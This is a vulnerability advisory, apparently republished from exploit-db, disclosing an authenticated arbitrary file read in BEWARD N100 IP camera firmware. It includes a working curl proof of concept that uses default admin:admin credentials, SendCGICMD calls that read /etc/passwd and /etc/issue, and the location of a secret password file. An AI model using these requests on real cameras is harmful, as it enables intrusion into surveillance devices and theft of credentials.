BEWARD N100 H.264 VGA IP Camera M2.1.6 – Arbitrary File Disclosure

  • 作者: LiquidWorm
    日期: 2019-02-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46320/
  • BEWARD N100 H.264 VGA IP Camera M2.1.6 Arbitrary File Disclosure
    
    Vendor: Beward R&D Co., Ltd
    Product web page: https://www.beward.net
    Affected version: M2.1.6.04C014
    
    Summary: The N100 compact color IP camera with support for a more efficient
    compression format is optimized for low-speed networks, thanks to which it
    transmits a real-time image over the network with minimal delays. The camera
    supports the switching of the broadcast modes, and in the event of a break in
    communication with the remote file storage, it can continue recording to the
    microSDHC memory card. N100 is easy to install and configure, has all the
    necessary arsenal for the organization of low-cost professional video surveillance
    systems.
    
    Desc: The camera suffers from an authenticated file disclosure vulnerability.
    Input passed via the 'READ.filePath' parameter in fileread script is not properly
    verified before being used to read files. This can be exploited to disclose
    the contents of arbitrary files via absolute path or via the SendCGICMD API.
    
    Tested on: Boa/0.94.14rc21
     Farady ARM Linux 2.6
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2019-5511
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php
    
    
    26.01.2019
    
    
    --
    From the term:
    --
    root@ground:~# curl -H "Authorization: Basic YWRtaW46YWRtaW4=" http://TARGET/cgi-bin/operator/fileread?READ.filePath=/etc/passwd
    root:x:0:0:root:/root:/bin/sh
    bin:x:1:1:bin:/bin:/bin/sh
    daemon:x:2:2:daemon:/usr/sbin:/bin/sh
    adm:x:3:4:adm:/adm:/bin/sh
    lp:x:4:7:lp:/var/spool/lpd:/bin/sh
    sync:x:5:0:sync:/bin:/bin/sync
    shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
    operator:x:11:0:Operator:/var:/bin/sh
    nobody:x:99:99:nobody:/home:/bin/sh
    
    --
    From the web console:
    --
    SendCGICMD("cgi-bin/operator/fileread?READ.filePath=/etc/passwd")
    root:x:0:0:root:/root:/bin/sh
    bin:x:1:1:bin:/bin:/bin/sh
    daemon:x:2:2:daemon:/usr/sbin:/bin/sh
    adm:x:3:4:adm:/adm:/bin/sh
    lp:x:4:7:lp:/var/spool/lpd:/bin/sh
    sync:x:5:0:sync:/bin:/bin/sync
    shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
    operator:x:11:0:Operator:/var:/bin/sh
    nobody:x:99:99:nobody:/home:/bin/sh
    
    --
    SendCGICMD("cgi-bin/operator/fileread?READ.filePath=/etc/issue")
    --
    Welcome to \n (\m-\s-\r@\l/\b)
    Faraday ARM Linux 2.6
    
    Copyright (C) 2005 Faraday Corp. <www.faraday.com.tw>
    Released under GNU GPL
    
    --
    wr: /usr/share/www/html
    sp: /var/www/secret.passwd
    bc: /etc/boa.conf